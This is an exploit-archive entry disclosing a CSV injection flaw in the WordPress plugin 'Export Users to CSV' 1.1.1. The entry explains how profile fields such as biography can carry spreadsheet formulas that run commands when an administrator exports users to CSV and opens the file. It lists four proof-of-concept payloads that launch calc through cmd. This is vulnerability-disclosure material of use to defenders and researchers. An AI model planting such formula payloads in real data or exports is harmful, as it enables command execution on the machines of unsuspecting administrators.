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WordPress Export Users To CSV 1.1.1 CSV Injection

WordPress Export Users To CSV 1.1.1 CSV Injection
Posted Aug 16, 2018
Authored by Javier Olmedo

WordPress Export Users to CSV plugin version 1.1.1 suffers from a CSV injection vulnerability.

tags | exploit
MD5 | 5894b60cf2ae585a89c4860f74f8ca7f

WordPress Export Users To CSV 1.1.1 CSV Injection

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# Exploit Title: Wordpress Plugin Export Users to CSV 1.1.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-08-14
# Google Dork: N/A
# Vendor: Matt Cromwell
# Software Link: https://wordpress.org/plugins/export-users-to-csv/
# Affected Version: 1.1.1 and before
# Active installations: +20,000
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64

# 1. Plugin Description:
# WordPress Export Users to CSV plugin exports user data and meta data.
# You can even export the users by role and registration date range.

# 2. Technical Description:
# WordPress Export users to CSV plugin version 1.1.1. and before are affected by Remote Code Execution
# through the CSV injection vulnerability. This allows an application user to inject commands as part
# of the fields of his profile and these commands are executed when a user with greater privilege
# exports the data in CSV and opens that file on his machine.

# 3. Proof Of Concept (PoC):
# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the profile, for example, in biography.
# When the user with high privileges logs in to the application, export data in CSV and opens the
# generated file, the command is executed and the calculator will run open on the machine.

# 4. Payloads:
=SUM(1+1)*cmd|' /C calc'!A0
+SUM(1+1)*cmd|' /C calc'!A0
-SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0

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